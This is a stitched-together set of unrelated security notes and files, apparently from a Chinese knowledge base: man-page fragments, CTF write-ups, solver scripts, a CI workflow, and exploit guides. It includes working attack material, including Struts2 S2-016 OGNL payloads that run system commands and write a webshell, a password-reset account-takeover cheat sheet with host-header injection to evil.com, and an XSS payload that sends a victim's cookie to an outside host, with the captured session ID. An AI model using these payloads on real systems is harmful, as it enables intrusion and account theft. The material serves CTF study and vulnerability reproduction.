.Pa /etc/mail.rc
中)
.It Ar ask, asksub
使得
.Nm mail
提示你输入发送的每条消息的主题.
如果你用一个简单的换行符应答,则发送无主题的字段.
.It Ar askcc
提示你输入附加的复写(carbon copy)的收件人在每条消息之后.
以换行符回应表示你满意当前的列表.
.It Ar askbcc
提示你输入附加的隐藏的复写(blind carbon copy)的收件人在每条消息之后.
以换行符回应表示你满意当前的列表.
.It Ar autoprint
使得
.Ic delete
命令如
.Ic dp
一样.
\- 这样,在删除一条消息之后,下一条消息会自动输出.
.It Ar debug
设置二进制选项
.Ar debug
与命令行上指定
.Fl d
一样,这会使得
.Nm mail
输出各种有用的信息来调试
.Nm mail .
.It Ar dot
二进制选项
.Ar dot
使得
.Nm mail
解释一行只有单一的句点为你发送消息的结束.
.It Ar hold
该选项用来保存消息在默认的系统邮箱中.
.It Ar ignore
使得忽略来自终端的中断信号,并且以@'s响应.
.It Ar ignoreeof
一个与
.Ar dot
相关的选项就是
.Ar ignoreeof ,
它使得
.Nm mail
拒绝接受control-d为消息的结束.
.Ar Ignoreeof
同样也适用于
.Nm mail
命令模式.
.It Ar metoo
通常,当包括发送者的一组展开时,发送者会在展开中删除.
设置该选项会使得发送者包括在组中.
.It Ar noheader
设置选项
.Ar noheader
与在命令行中指定
.Fl N
标识一样.
.It Ar nosave
正常情况下,当你使用
.Tn RUBOUT
(erase或者delete)
中止一条消息时,
.Nm mail
会复制部分信件到你home目录下的文件
.Dq Pa dead.letter
中.
设置二进制选项
.Ar nosave
可以阻止这么做.
.It Ar Replyall
颠倒
.Ic reply
和
.Ic Reply
命令的含义.
.It Ar quiet
当第一次调用时,禁止打印版本.
.It Ar searchheaders
如果设置了这个选项,那么在格式``/x:y''中的消息列表区分标志会对所有在头字段``x''中
包含子字符串``y''的消息展开.字符串查找是区分大小写的.
.It Ar verbose
设置选项
.Ar verbose
与在字符行下使用
.Fl v
标识一样.
当邮件运行在verbose模式时,
实际传递的消息会显示在用户的终端上.
.El
.Ss Option String Values(选项字符串值)
.Bl -tag -width Va
.It Ev EDITOR
在
.Ic edit
命令和
.Ic \&~e
扩展符中使用的文本编辑器的路径名.
如果没有定义,那么使用默认的编辑器.
.It Ev LISTER
在
.Ic folders
命令中使用的目录浏览器的路径名.
默认为
.Pa /bin/ls .
.It Ev PAGER
在
.Ic more
命令或者当设置了
.Ic crt
变量时使用的程序的路径名.
如果该选项没有定义,默认使用
.Xr more 1 .
.It Ev SHELL
在
.Ic \&!
命令和
.Ic \&~!
扩展符中使用的shell的路径名.
如果未定义该选项,则使用默认的shell.
.It Ev VISUAL
在
.Ic visual
命令和
.Ic \&~v
扩展符中使用的文本编辑器的路径名.
.It Va crt
赋值的选项
.Va crt
用作限额以决定一条消息在使用
.Ev PAGER
阅读它之前有多长.
如果
.Va crt
没有赋值,那么保存在系统中的终端显示高度用来确定限额(参见
.Xr stty 1 ) .
.It Ar escape
如果定义了,那么该选项的第一个字符给出扩展符中替换~的字符.
.It Ar folder
存储消息的文件夹的目录名.
如果该名字以`/'开头,
.Nm mail
会把它当作绝对路径名;否则,文件目录相对于你的home目录查找.
.It Ev MBOX
.Ar mbox
文件的名字.
它可以为一个文件夹名.
默认为在用户home目录下的
.Dq Li mbox .
.It Ar record
如果定义了,指定用来存档所有外发邮件的文件的路径名.
如果没有定义,那么外发邮件将不被保存.
.It Ar indentprefix
在``~m'' tilde escape中用作交错消息的字符串,替换一般情况下的tab字符(^I).
如果其中包含了空格或者tab,确信对值加了引号.
.It Ar toplines
如果定义了,指定使用
.Ic top
命令打印的消息的行数;一般情况下,打印前5行.
.El
.Sh ENVIRONMENT(环境变量)
.Nm Mail
使用了
.Ev HOME
和
.Ev USER
环境变量.
.Sh FILES(相关文件)
.Bl -tag -width /usr/lib/mail.*help -compact
.It Pa /var/spool/mail/*
邮局.
.It ~/mbox
用户的老邮件.
.It ~/.mailrc
给定初始邮件命令的文件.
.It Pa /tmp/R*
临时文件.
.It Pa /usr/lib/mail.*help
帮助文件.
.It Pa /etc/mail.rc
系统初始化文件.
.El
.Sh SEE ALSO(另见)
.Xr fmt 1 ,
.Xr newaliases 1 ,
.Xr vacation 1 ,
.Xr aliases 5 ,
.Xr mailaddr 7 ,
.Xr sendmail 8
和
.Rs
.%T "The Mail Reference Manual" .
.Re
.Sh HISTORY(历史)
.Nm mail
命令出现在
.At v6
中.
该man页源自
.%T "The Mail Reference Manual"
原作者为Kurt Shoens.
.Sh BUGS
有一些标识没有列在文档中.
大多数对一般用户都是没有用处的.
.\" 并非这个特定发布版本才有这种bug的情况.
.\" 通常, .Nm mail只不过是到.Nm Mail的一个链接,这可能会引起混乱.
.Sh "[中文版维护人]"
riser <boomer@ccidnet.com>
.Sh "[中文版最新更新]"
2001/08/08
.Sh "《中国linux论坛man手册页翻译计划》:"
http://cmpp.linuxforum.net
.Pp
|
sec-knowleage
|
## Forgot Password Functionality
## Introduction
Some common bugs in the forgot password / reset password functionality
## How to exploit
1. Parameter pollution
```
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com&email=hacker@mail.com
```
2. Bruteforce the OTP code
```
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com&code=$123456$
```
3. Host header Injection
```
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com
```
to
```
POST /reset HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
...
email=victim@mail.com
```
And the victim will receive the reset link with evil.com
4. Using separator in value of the parameter
```
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com,hacker@mail.com
```
```
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com%20hacker@mail.com
```
```
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com|hacker@mail.com
```
```
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com%00hacker@mail.com
```
5. No domain in value of the paramter
```
POST /reset HTTP/1.1
Host: target.com
...
email=victim
```
6. No TLD in value of the parameter
```
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail
```
7. Using carbon copy
```
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com%0a%0dcc:hacker@mail.com
```
8. If there is JSON data in body requests, add comma
```
POST /newaccount HTTP/1.1
Host: target.com
...
{"email":"victim@mail.com","hacker@mail.com","token":"xxxxxxxxxx"}
```
9. Find out how the tokens generate
- Generated based on TimeStamp
- Generated based on the ID of the user
- Generated based on the email of the user
- Generated based on the name of the user
10. Try Cross-Site Scripting (XSS) in the form
Sometimes the email is reflected in the forgot password page, try to use XSS payload
```
"<svg/onload=alert(1)>"@gmail.com
```
## References
* [anugrahsr](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
* [Frooti](https://twitter.com/HackerGautam/status/1502264873287569414)
|
sec-knowleage
|
#yoso(web, 250, 38 solves)
> You only live once, so why search twice?
> (admins love to search for flags btw)

We are able to send a link to admin, which he then visits. Our goal is to download admin's bookmarks.
After some investigation, we found a reflected xss at `http://78.46.224.80:1337/download.php?zip=<script>alert("hello world")</script>`
So all we have to do now is either steal the admins'c cookie or get the zip with a ajax/xmlhttp request and then send a request to `ourdomain.com/+data`. We'll go with the first option, as it's a lot easier.
Payload:
``` javascript
<script> window.location = "http://nazywam.host/itWorks!"+document.cookie </script>
```
Unfortunately, the zip parameter is filtered, all dots are removed. So we have to find a way to bypass it.
* `nazywam.host` can be easily changed into a decimal ip, `1558071511`
* `window.location` and `document.cookie` can be written as `window["location"]` and `document["cookie"]`
* `string + string` -> `string["concat"](string)`
Final payload:
``` javascript
<script>window["location"] = "http://1558071511/itWorks!"["concat"](document["cookie"]) </script>
````
This allows us to get the cookie
```
78.46.224.80 - - [29/Dec/2016:11:46:48 +0100] "GET /itWorks!PHPSESSID=ol8gur9chbfq0g0ufnm6h8vrc1 HTTP/1.1" 404 143 "http://78.46.224.80:1337/download.php?zip=%3Cscript%3Ewindow[%22location%22]%20=%20%22http://1558071511/itWorks!%22[%22concat%22](document[%22cookie%22])%20%3C/script%3E" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
```
And finally, the flag: `33C3_lol_wHo_needs_scr1pts_anyway`
|
sec-knowleage
|
# JPEG File (Misc, 100p)
```
It will be fixed if you change somewhere by 1 bit.
```
In the task we get a [jpeg file](tktk.jpg) and the description is quite clear - we need a single bitflip to uncover the flag.
We simply generated images with bitflips and the scrolled through thumbnails.
We thought about using tesseract but it would take much time.
Bitflips were generated via:
```python
import codecs
def main():
start_byte = 0
stop_byte = 700
with codecs.open("tktk.jpg", "rb") as input_file:
data = input_file.read()
for byte in range(start_byte, stop_byte):
for bit in range(8):
modified = chr(ord(data[byte]) ^ (1 << bit))
output_data = data[:byte] + modified + data[byte + 1:]
with codecs.open("res/" + str(byte) + "_" + str(bit) + ".jpg", "wb") as output_file:
output_file.write(output_data)
main()
```
And once we flipped bits in byte 623 we got the flag:

The flag was `SECCON{jp3g_study}`
|
sec-knowleage
|
# Web Hacking 101 中文版
原书:[Hack, Learn, Earn, with a Free E-Book](https://www.hackerone.com/blog/Hack-Learn-Earn-with-a-Free-E-Book)
译者:[飞龙](https://github.com/wizardforcel)
+ [在线阅读](https://www.gitbook.com/book/wizardforcel/web-hacking-101/details)
+ [PDF格式](https://www.gitbook.com/download/pdf/book/wizardforcel/web-hacking-101)
+ [EPUB格式](https://www.gitbook.com/download/epub/book/wizardforcel/web-hacking-101)
+ [MOBI格式](https://www.gitbook.com/download/mobi/book/wizardforcel/web-hacking-101)
+ [代码仓库](https://github.com/wizardforcel/web-hacking-101-zh)
> 该书的后续版本不做翻译,可以在 [Leanpub](https://leanpub.com/web-hacking-101) 上购买。但由于漏洞报告是公开的,会放出漏洞链接。
## 赞助我

## 协议
[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
|
sec-knowleage
|
pvck
===
检测物理卷的LVM元数据的一致性
## 补充说明
**pvck命令** 用来检测物理卷的LVM元数据的一致性。默认情况下,物理卷中的前4个扇区保存着LVM卷标,可以使用`--labelsector`选项指定其他的位置(例如:数据恢复时)。
### 语法
```shell
pvck(选项)(参数)
```
### 选项
```shell
-d:调试模式;
-v:详细信息模式;
--labelsector:指定LVE卷标所在扇区。
```
### 参数
物理卷:指定要检查的物理卷对应的设备文件。
### 实例
使用pvck命令检查物理卷`/dev/sdb1`。在命令行中输入下面的命令:
```shell
pvck -v /dev/sdb1 #检查物理卷元数据
Scanning /dev/sdb1
Found label on /dev/sdb1, sector 1, type=LVM2 001
Found text metadata area: offset=4096, size=192512
Found LVM2 metadata record at offset=125952,
size=70656, offset2=0 size2=0
```
|
sec-knowleage
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
bool test(int a1) {
int v3 = a1;
int v4 = 0;
while (v3) {
v4 += v3 % 10;
v3 /= 10;
}
return v4 == 41;
}
int getint() {
return 49000000;
}
bool isprime(int number) {
if(number == 2) return true;
if(number % 2 == 0) return false;
for(int i=3; (i*i)<=number; i+=2){
if(number % i == 0 ) return false;
}
return true;
}
int main() {
int v2 = 49000000;
int v4 = 961748862;
while(true) {
if (isprime(v4)) {
v2++;
if(getint() <= v2 && test(v4)) {
printf("DCTF{%d}\n", v4);
break;
}
} v4++;
}
}
|
sec-knowleage
|
# modified from https://github.com/tiangolo/fastapi/blob/master/.github/workflows/preview-docs.yml
name: Deploy to Netlify
on:
workflow_run:
workflows:
- Preview Site Wrapper
types:
- completed
# A workflow run is made up of one or more jobs that can run sequentially or in parallel
jobs:
# This workflow contains a single job called "build"
deploy-to-netlify:
# The type of runner that the job will run on
runs-on: ubuntu-latest
# Steps represent a sequence of tasks that will be executed as part of the job
steps:
- uses: actions/checkout@v2
- name: Download Artifact Docs
uses: dawidd6/action-download-artifact@v2
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
workflow: preview-site-wrapper.yml
run_id: ${{ github.event.workflow_run.id }}
name: site-zip
- name: Unzip Site
run: |
rm -rf ./site
unzip site.zip
rm -f site.zip
- name: Deploy to Netlify
id: netlify
uses: nwtgck/actions-netlify@v1.1
with:
publish-dir: 'site'
production-deploy: false
github-token: ${{ secrets.GITHUB_TOKEN }}
enable-commit-comment: false
env:
NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }}
NETLIFY_SITE_ID: ${{ secrets.NETLIFY_SITE_ID }}
- name: Comment Deploy
uses: ./.github/actions/comment-docs-preview-in-pr
with:
token: ${{ secrets.GITHUB_TOKEN }}
deploy_url: "${{ steps.netlify.outputs.deploy-url }}"
|
sec-knowleage
|
# S2-016 远程代码执行漏洞
影响版本: 2.0.0 - 2.3.15
漏洞详情:
- http://struts.apache.org/docs/s2-016.html
- http://www.freebuf.com/articles/web/25337.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 漏洞复现
在struts2中,DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
所以,访问`http://your-ip:8080/index.action?redirect:OGNL表达式`即可执行OGNL表达式。
执行命令:
```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
```
获取web目录:
```
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
```
写入webshell:
```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
```
执行结果:

|
sec-knowleage
|
##randBox (crypto, 120p)
###PL
[ENG](#eng-version)
`nc randBox-iw8w3ae3.9447.plumbing 9447`
```
Alphabet is '0123456789abcdef', max len is 64
You need to send a string that encrypts to '787fadc8d1944a35b3ed9d1433a9060f'
Guess 0/21 (Round 1/10)
```
Zadanie polegało na połączeniu się z serwerem a następnie na złamaniu 10 szyfrów (w praktyce tylko 7 było unikalnych), przy użyciu nie więcej niż 21 prób.
Złamanie każdego szyfru należało udowodnić poprzez wysłanie wiadomości, która po zakodowaniu da wylosowany przez serwer ciąg znaków.
Kod całego rozwiązania znajduje sie [tutaj](randBox.py) a sesja rozwiązująca [tutaj](session.txt)
####Szyfr 1
Pierwszy szyfr to standardowy szyfr Cezara, więc do jego złamania potrzeba nam informacji o `przesunięciu`. Uzyskujemy ją, poprzez wysłanie na serwer pojedyńczego znaku `0`.
```python
def breakLevel1(ct, s):
# caesar cipher
send_via_nc(s, "0")
data = s.recv(1024)[:-1]
shift = int(data, 16)
result = "".join([format((int(letter, 16) - shift) % 16, "x") for letter in ct])
send_via_nc(s, result)
```
####Szyfr 2
Drugi szyfr to cykliczne przesunięcie wejściowego ciągu o losową liczbę pozycji, zależną od długości wejścia, więc do jego złamania potrzebujemy informacji o tym o ile pozycji nastąpi przeunięcie. Informacje uzyskujemy poprzez wysłanie ciągu `0` oraz jednej `1` (o długości takiej jak oczekiwany ciphertext) a następnie policzenie o ile została przesunięta `1`.
```python
def breakLevel2(ct, s):
# circular shifting input by some random number
send_via_nc(s, "1" + ("0" * (len(ct) - 1)))
data = s.recv(1024)[:-1]
shift = data.index("1")
result = ct[shift:] + ct[:shift]
send_via_nc(s, result)
```
####Szyfr 3,4,5
Szyfry 3,4,5 to szyfry podstawieniowe i do ich złamania potrzebujemy pobrać z serwera informacje o tym, jak wygląda tablica zamian. Robimy to poprzez wysłanie całego alfabetu i odczytanie jak zostały zamienione znaki.
```python
def breakLevel3(ct, s):
# substitution cipher
initial = "0123456789abcdef"
send_via_nc(s, initial)
data = s.recv(1024)[:-1]
decoder = {data[i]: initial[i] for i in range(len(initial))}
result = "".join([decoder[letter] for letter in ct])
send_via_nc(s, result)
```
####Szyfr 6
Szyfr 6 przypomina szyfr Cezara, ale przesunięcie jest liczone per znak a nie dla całego ciągu identycznie. Więc np. pierwszy znak tekstu jest przesunięty o X, drugi o Y, trzeci o Z. Przesunięcia uzyskujemy wysyłając ciąg 0 o długości ciphertextu i z niego odczytujemy przesuniecia dla każdej pozycji.
```python
def breakLevel6(ct, s):
# shifting each number by some distance
initial = "0" * len(ct)
send_via_nc(s, initial)
data = s.recv(1024)[:-1]
shifts = [int(data[i], 16) for i in range(len(ct))]
result = "".join([format((int(ct[i], 16) - shifts[i]) % 16, "x") for i in range(len(ct))])
send_via_nc(s, result)
```
####Szyfr 7
Szyfr 7 został przez nas zwyczajnie zbrutowany, bo nie mieliśmy pomysłu na regułę. Szyfr wyliczał kolejny element ciphertextu na podstawie dwóch poprzednich elementów plaintextu (z losowym elementem na pozycji -1), w większości sytuacji poprzez ich dodanie/odjęcie. Niemniej zasada kiedy odejmować a kiedy dodawać nie była dla nas oczywista, więc wysłaliśmy do serwera zapytania postaci `000102030405...`, `10111213141516...`, `20212223242526...` i na podstawie wyników odczytaliśmy mapę wszystkich możliwych podstawień - tzn. dla każdej `poprzedniej` liczby wiedzieliśmy na co zostanie zamieniony każdy symbol. Jedyna brakująca informacja to wartość losowa na pozycji -1 która jest wykorzystywana aby wyliczyć 1 znak ciphertextu. Odzyskujemy ją poprzez wysłanie `0` a potem odczytanie na podstawie wyniku dla jakiego `poprzednika` mogliśmy uzyskać taki wynik.
```python
initial = "0"
send_via_nc(s, initial)
data = s.recv(1024)
data = data[:data.index("\n")]
current_number = find_start_number(cracking_map, data)
result = ""
for letter in ct:
generator = find_generator(cracking_map, current_number, letter)
result += generator
current_number = generator
send_via_nc(s, result)
```
####Szyfr 8
Szyfr 8 polegał na sumowaniu poprzednich wyrazów modulo 16, z losową wartością na pozycji -1. Losową wartość odzyskujemy wysyłając 0 a następnie odczytując ją bezpośrednio z wyniku. Następnie kodujemy dane licząc jakiej wartości `brakuje` nam aby uzyskać spodziewany znak ciphertextu po dodaniu jej do poprzedniej modulo 16.
```python
def breakLevel8(ct, s):
# adding current number to previous modulo 16
initial = "0"
send_via_nc(s, initial)
data = s.recv(1024)
data = data[:data.index("\n")]
previous = int(data, 16)
result = ""
for number in ct:
current = int(number, 16)
missing = (current - previous) % 16
result += format(missing, "x")
previous = current
send_via_nc(s, result)
```
####Szyfr 9
Szyfr 9 byl szyfrem podstawieniowym ze zmianą kolejności bajtów w słowie. Jeśli np. X kodowany był przez 1 a Y przez 0 to zakodowanie XY dawało 01. Aby odczytać mapę podstawień wysyłaliśmy cały alfabet a następnie odczytywaliśmy podstawienia zamieniając pary miejscami.
```python
def breakLevel9(ct, s):
# substitution with byte swap, x->1, y->2, xy -> 21
initial = "0123456789abcdef"
send_via_nc(s, initial)
data = s.recv(1024)
data = data[:data.index("\n")]
substitution = {}
for i in range(0, len(initial) - 1, 2):
substitution[initial[i + 1]] = data[i]
substitution[initial[i]] = data[i + 1]
result = ""
for i in range(0, len(ct) - 1, 2):
first = ct[i]
second = ct[i + 1]
result += substitution[second] + substitution[first]
send_via_nc(s, result)
```
W trakcie trwania konkursu kolejność szyfrów w zadaniu uległa przemieszaniu a niektóre szyfry były użyte kilkukrotnie stąd unikalnych szyfrów jest tylko 7 a nie 10.
```
You need to send a string that encrypts to 'd689c1a78e419dc1043ff07a0afc01d8'
Guess 18/21 (Round 10/10)
ciphertext = d689c1a78e419dc1043ff07a0afc01d8
sending 0
sending 17f6ab16e045c1dcc8b4bbc66c3ffe3b
Guess 19/21 (Round 10/10)
d689c1a78e419dc1043ff07a0afc01d8
You got it!
9447{crYpt0_m4y_n0T_Be_S0_haRD}
```
### ENG version
`nc randBox-iw8w3ae3.9447.plumbing 9447`
```
Alphabet is '0123456789abcdef', max len is 64
You need to send a string that encrypts to '787fadc8d1944a35b3ed9d1433a9060f'
Guess 0/21 (Round 1/10)
```
The task was to connect with the server and break 10 ciphers (in fact only 7 were unique), using no more than 21 tries.
Breaking each cipher was proven by sending a message that would encode to the ciphertext selected by server.
Whole solution is [here](randBox.py) and winning session [here](session.txt)
####Cipher 1
First cipher was a standard Caesar cipher, so we need only the information about the `shift`. We get is by sending a single `0` to the server and we get shift as an answer.
```python
def breakLevel1(ct, s):
# caesar cipher
send_via_nc(s, "0")
data = s.recv(1024)[:-1]
shift = int(data, 16)
result = "".join([format((int(letter, 16) - shift) % 16, "x") for letter in ct])
send_via_nc(s, result)
```
####Cipher 2
Second cipher was a cyclic shift of the input by a random number of positions, dependent on the length of input, so to break it we need to know how many places will the shift be. We get this by sending data with all `0` and a single `1` (with length the same as expected output ciphertext) and the couting how many places the `1` has moved.
```python
def breakLevel2(ct, s):
# circular shifting input by some random number
send_via_nc(s, "1" + ("0" * (len(ct) - 1)))
data = s.recv(1024)[:-1]
shift = data.index("1")
result = ct[shift:] + ct[:shift]
send_via_nc(s, result)
```
####Cipher 3,4,5
Ciphers 3,4,5 were all substitution ciphers and to break them we need to get the substitution table from the server. We do this by sending whole alphabet and reading how each character changed.
```python
def breakLevel3(ct, s):
# substitution cipher
initial = "0123456789abcdef"
send_via_nc(s, initial)
data = s.recv(1024)[:-1]
decoder = {data[i]: initial[i] for i in range(len(initial))}
result = "".join([decoder[letter] for letter in ct])
send_via_nc(s, result)
```
####Cipher 6
Cipher 6 is similar to Caesar cipher but the shifts are per position in the plaintext rather than constant for whole text. For example first character is shifted by X, second by Y etc. To get the shifts information we send data with `0` (the same length as expected ciphertext) and we read the shifts on each position directly.
```python
def breakLevel6(ct, s):
# shifting each number by some distance
initial = "0" * len(ct)
send_via_nc(s, initial)
data = s.recv(1024)[:-1]
shifts = [int(data[i], 16) for i in range(len(ct))]
result = "".join([format((int(ct[i], 16) - shifts[i]) % 16, "x") for i in range(len(ct))])
send_via_nc(s, result)
```
####Cipher 7
Cipher 7 was simply brute-forced by us, because we couldn't figure out the rule. The cipher was calculating next ciphertext element by last two plaintext elements (with random value at position -1), for the most part this was either by adding or subtracting them. However, we couldn't figure out when to add and when to subtract so we simply extracted this from server.
We sent requests `000102030405...`, `10111213141516...`, `20212223242526...` and from answers we created a substitution table - for each `previous` value, for each `current` value we knew what will be the ciphertext element. The only missing part was the random value at position -1, which we got by sending `0` and checking which `previous` value would give us the result we got.
```python
initial = "0"
send_via_nc(s, initial)
data = s.recv(1024)
data = data[:data.index("\n")]
current_number = find_start_number(cracking_map, data)
result = ""
for letter in ct:
generator = find_generator(cracking_map, current_number, letter)
result += generator
current_number = generator
send_via_nc(s, result)
```
####Cipher 8
Cipher 8 was adding all previous values of plaintext modulo 16, with random value at position -1. The random value we extract by sendind `0` and taking them directly from result. For the solution we simply encode data, couting how much we are `missing` to get the proper ciphertext value.
```python
def breakLevel8(ct, s):
# adding current number to previous modulo 16
initial = "0"
send_via_nc(s, initial)
data = s.recv(1024)
data = data[:data.index("\n")]
previous = int(data, 16)
result = ""
for number in ct:
current = int(number, 16)
missing = (current - previous) % 16
result += format(missing, "x")
previous = current
send_via_nc(s, result)
```
####Cipher 9
Cipher 9 was a substitution cipher with shifting bytes in two-byte words. If X was encoded by 1 and Y by 0 then XY would give 01. To get the substitution map we sent whole alphabet and read the substitutions by shifting bytes in pairs.
```python
def breakLevel9(ct, s):
# substitution with byte swap, x->1, y->2, xy -> 21
initial = "0123456789abcdef"
send_via_nc(s, initial)
data = s.recv(1024)
data = data[:data.index("\n")]
substitution = {}
for i in range(0, len(initial) - 1, 2):
substitution[initial[i + 1]] = data[i]
substitution[initial[i]] = data[i + 1]
result = ""
for i in range(0, len(ct) - 1, 2):
first = ct[i]
second = ct[i + 1]
result += substitution[second] + substitution[first]
send_via_nc(s, result)
```
During the competition the ordering of ciphers was changed and some ciphers were used multiple times, hence there were only 7 unique ciphers, not 10.
```
You need to send a string that encrypts to 'd689c1a78e419dc1043ff07a0afc01d8'
Guess 18/21 (Round 10/10)
ciphertext = d689c1a78e419dc1043ff07a0afc01d8
sending 0
sending 17f6ab16e045c1dcc8b4bbc66c3ffe3b
Guess 19/21 (Round 10/10)
d689c1a78e419dc1043ff07a0afc01d8
You got it!
9447{crYpt0_m4y_n0T_Be_S0_haRD}
```
|
sec-knowleage
|
import sys
import json
import asyncio
import websockets
URI = 'ws://harmony-1.hackable.software:3380/chat'
async def register(ws, name: str) -> str:
await ws.send(json.dumps({'type': 'register', 'displayName': name}))
uid_msg = await ws.recv()
parsed_msg = json.loads(uid_msg)
if not 'uid' in parsed_msg:
print(parsed_msg, name)
return parsed_msg['uid']
def create_channel(name: str) -> str:
return json.dumps({'type': 'new-channel', 'name': name})
def invite(uid: str) -> str:
global cid
return json.dumps({'type': 'invite', 'chId': cid, 'uid': uid})
def message(msg: str) -> str:
global cid
return json.dumps({'type': 'message', 'chId': cid, 'msg': msg})
def parse_line(line: str):
line = line.rstrip()
if line == '':
return ('random_name', '')
parts = line.split(': ')
return (parts[0], ':'.join(parts[1:]))
cid = ''
async def send_line(line: str, main_ws):
global cid
payload_name, payload_msg = parse_line(line)
async with websockets.connect(URI) as ws:
print('Payload WS connected!')
uid = await register(ws, payload_name)
await ws.recv() # welcome message
await main_ws.send(invite(uid))
await main_ws.recv() # "Invited {uname} to channel {cname}."
await ws.recv() # joined message
await ws.send(message(payload_msg))
print(await ws.recv())
async def hello():
global cid
lines = []
with open(sys.argv[1]) as payload:
lines = payload.readlines()
print(lines)
async with websockets.connect(URI) as main_ws:
print('Main WS connected!')
# register main websocket
payload_name, payload_msg = parse_line(lines[0])
uid = await register(main_ws, payload_name)
await main_ws.recv() # welcome message - skip
# create payload channel
await main_ws.send(create_channel('payload'))
joined_msg = await main_ws.recv()
cid = json.loads(joined_msg)['channels'][0]['chId']
# send first line of payload
await main_ws.send(message(payload_msg))
print(await main_ws.recv())
for line in lines[1:]:
await send_line(line, main_ws)
print(f'http://harmony-1.hackable.software:3380/logs/{uid}/{cid}')
asyncio.get_event_loop().run_until_complete(hello())
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CREATE SCHEMA" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CREATE SCHEMA \- 定义一个新的模式
.SH SYNOPSIS
.sp
.nf
CREATE SCHEMA \fIschemaname\fR [ AUTHORIZATION \fIusername\fR ] [ \fIschema_element\fR [ ... ] ]
CREATE SCHEMA AUTHORIZATION \fIusername\fR [ \fIschema_element\fR [ ... ] ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBCREATE SCHEMA\fR 将在当前数据库里输入一个新的模式。 该模式名将在当前数据库里现存的所有模式名中唯一。
.PP
模式实际上是一个名字空间: 它包含命名对象(表,数据类型,函数和操作符)这些名字可以和其它模式里存在的其它对象重名。 命名对象要么是通过用模式名作为前缀"修饰"这些它们的名字进行访问, 要么是通过设置一个搜索路径包含所需要的模式。 无修饰的对象都是在当前模式中创建的(在搜索路径最前面的;可以用函数 current_schema 来判断)。
.PP
另外,CREATE SCHEMA 可以包括在新模式中创建对象的子命令。 这些子命令和那些在创建完模式后发出的命令没有任何区别,只不过是如果使用了 AUTHORIZATION 子句, 那么所有创建的对象都将被该用户拥有。
.SH "PARAMETERS 参数"
.TP
\fB\fIschemaname\fB\fR
要创建的模式名字。如果省略,则使用用户名作为模式名。
.TP
\fB\fIusername\fB\fR
将拥有该模式的用户名。如果省略,缺省为执行该命令的用户名。 只有超级用户才能创建不属于自己的模式。
.TP
\fB\fIschema_element\fB\fR
一个 SQL 语句,定义一个要在模式里创建的对象。 目前,只有 CREATE TABLE,CREATE VIEW, 和 GRANT 是在 CREATE SCHEMA 里面可以接受的子句。 其它类型的对象可以在创建完模式之后的独立的命令里创建。
.SH "NOTES 注意"
.PP
要创建模式,调用该命令的用户必需在当前数据库上有 CREATE 权限。(当然,超级用户绕开这个检查。)
.SH "EXAMPLES 例子"
.PP
创建一个模式:
.sp
.nf
CREATE SCHEMA myschema;
.sp
.fi
.PP
为用户 joe 创建模式 --- 模式也会叫 joe:
.sp
.nf
CREATE SCHEMA AUTHORIZATION joe;
.sp
.fi
.PP
创建一个模式并且在里面创建一个表:
.sp
.nf
CREATE SCHEMA hollywood
CREATE TABLE films (title text, release date, awards text[])
CREATE VIEW winners AS
SELECT title, release FROM films WHERE awards IS NOT NULL;
.sp
.fi
请注意上面的独立的子命令不是由分号结尾的。
.PP
下面的命令是实现同样结果的等效语句:
.sp
.nf
CREATE SCHEMA hollywood;
CREATE TABLE hollywood.films (title text, release date, awards text[]);
CREATE VIEW hollywood.winners AS
SELECT title, release FROM hollywood.films WHERE awards IS NOT NULL;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
